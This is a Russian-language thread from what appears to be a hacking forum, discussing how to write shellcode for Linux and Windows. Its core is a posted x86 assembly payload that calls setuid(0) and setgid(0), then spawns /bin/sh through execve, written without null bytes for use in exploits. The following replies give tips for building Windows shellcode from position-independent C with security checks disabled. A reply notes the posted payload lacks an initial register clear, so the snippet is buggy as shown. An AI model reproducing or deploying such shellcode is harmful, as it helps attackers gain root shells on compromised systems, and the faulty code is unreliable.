• XSS.stack #1 – первый литературный журнал от юзеров форума

Шеллкоды для Win и Linux ?

ivanopolo

HDD-drive
Пользователь
Регистрация
07.07.2020
Сообщения
30
Реакции
4
Насколько я понял писать шеллкоды под Linux проще чем под винду.
В Linux все системные функции можно вызывать через int 80h а в винде нужно искать точки входа обработчика системых функций которые еще и плавают в зависимости от версии винды.
 
Так точно. Шелкоды под юникса-линукса-солярисы-аиксы-саносы-и-прочие проще чем под винду. Вот простецкий для x86 без нулей выполняющий setuid(0) +
setgid(0) и затем вызов /bin/sh через execve:

Код:
as -o 1.o 1.s ; ld -o 1 1.o

.globl _start
_start:

        movb $0x17,%al          # 0x17 = SYS_setuid
        int  $0x80
    
        movb $0x2e,%al          # 0x2e = SYS_setgid
        int  $0x80

        xorl   %eax,%eax              
        pushl  %eax                  
        pushl  $0x68732f2f  
        pushl  $0x6e69622f           
        movl   %esp,%ebx             
        pushl  %eax                  
        pushl  %ebx                  
        movl   %esp,%ecx             
        .byte  0x99         # cdql
        movb   $0x0b,%al           
        int    $0x80
 
Так точно. Шелкоды под юникса-линукса-солярисы-аиксы-саносы-и-прочие проще чем под винду. Вот простецкий для x86 без нулей выполняющий setuid(0) +
setgid(0) и затем вызов /bin/sh через execve:

Код:
as -o 1.o 1.s ; ld -o 1 1.o

.globl _start
_start:

        movb $0x17,%al          # 0x17 = SYS_setuid
        int  $0x80
   
        movb $0x2e,%al          # 0x2e = SYS_setgid
        int  $0x80

        xorl   %eax,%eax             
        pushl  %eax                 
        pushl  $0x68732f2f 
        pushl  $0x6e69622f          
        movl   %esp,%ebx            
        pushl  %eax                 
        pushl  %ebx                 
        movl   %esp,%ecx            
        .byte  0x99         # cdql
        movb   $0x0b,%al          
        int    $0x80
Это работать не будет
xor eax,eax не хватает в начале
 
Под винду тоже просто писать
Пиши базонезависимый код на си (с поиском функций в либах и стоками формата char * string = {'t', 'e', 's', 't', 0}), потом компиль в длл без разных там проверок безопасности и т.д. и получишь свой шелл-код в секции текста
Так можно и под x86 и под x64 делать
Листинг в асме тоже вывести можно, галку ставишь в настройке проекта
 
Под винду тоже просто писать
Пиши базонезависимый код на си (с поиском функций в либах и стоками формата char * string = {'t', 'e', 's', 't', 0}), потом компиль в длл без разных там проверок безопасности и т.д. и получишь свой шелл-код в секции текста
Так можно и под x86 и под x64 делать
Листинг в асме тоже вывести можно, галку ставишь в настройке проекта
зачем такие заморочки с string?
 
зачем такие заморочки с string?
чтобы она писалась в секцию кода, а не в ресурсы
там можно и по другому писать, я как пример привел

можно также тупо сделать мердж секций data и text (главное чтобы адрес записался в виде смещения, а не через релоки потом фиксился)
каждый делает как ему удобно)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх